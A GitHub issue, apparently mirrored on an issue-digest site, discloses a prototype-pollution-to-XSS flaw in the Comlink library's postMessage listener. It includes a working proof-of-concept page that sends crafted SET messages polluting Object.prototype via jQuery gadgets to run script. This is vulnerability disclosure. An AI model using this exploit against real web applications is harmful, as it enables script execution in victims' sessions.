GoogleChromeLabs / GoogleChromeLabs/comlink

postMessage listener set incurs a client-side prototype pollution and subsequently facilitates an XSS

Open
#603 1 comment 5 reactions 0 assignees View on GitHub
Dominant language
TypeScript
Stars
12.8k
Forks
435
PR merge metrics
No merged PRs in 30d

Description

Testing confirmed that the postMessage listener set by the Comlink library incurs a client-side prototype pollution and subsequently facilitates an XSS vulnerability. The postMessage listener set by the library does not offer an origin validation, thereby accepting messages from any origin. Furthermore, whilst processing the message, the listener incorrectly makes an assignment that rewrites Object.prototype.*, which causes the prototype pollution.
The root cause of this issue pertains to the fact that the JSON value specified in the message's type attribute constitutes SET. Here, if the crafted path property is passed together, an assignment to Object.prototype.* is performed. For example, if the ["prototype","__proto__","abc"] is passed to the path property, the value specified in the value property will be assigned to Object.prototype.abc, thereby initiating prototype pollution, observing an opportunity for XSS as a result.

This XSS is triggered by known script gadgets in jQuery. Specifically, when the crafted preventDefault, handleObj, and delegateTarget values are set to Object.prototype, arbitrary JavaScript can be executed if certain processing is performed with jQuery.

image

**Steps:**
1. Log in to the web app that is using the library.
2. Insert the following HTML on an external server.

>``` go
>
> function go(){
> w=window.open('','_blank');
> w.document.write(`<script>si=setInterval(function(){
> if(opener.length!==0){
> clearInterval(si);
> setTimeout(function(){
> opener.postMessage({"type":"SET","value":{"type":"RAW","value":"x"},"path":["prototype","__proto__","preventDefault"]},'*');
> opener.postMessage({"type":"SET","value":{"type":"RAW","value":"x"},"path":["prototype","__proto__","handleObj"]},'*');
> opener.postMessage({"type":"SET","value":{"type":"RAW","value":"<img/src/onerror=alert(document.domain)>"},"path":["prototype","__proto__","delegateTarget"]},'*');
> document.write('Please check another tab and click on "Apps" menu on the left');
> },3000);
> }
> },3000);
> <\/script>Please wait...`);
> w.document.close();
> location="https://URL to web app using the component";
> }
> ```

3. Open the HTML and click go. A new window will be opened and the opener page will be navigated to the web application page.
4. Wait until the Please check another tab ... message is displayed.
5. Check another tab when the message is displayed.
6. Click on an active web component and observe the JavaScript execution.

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.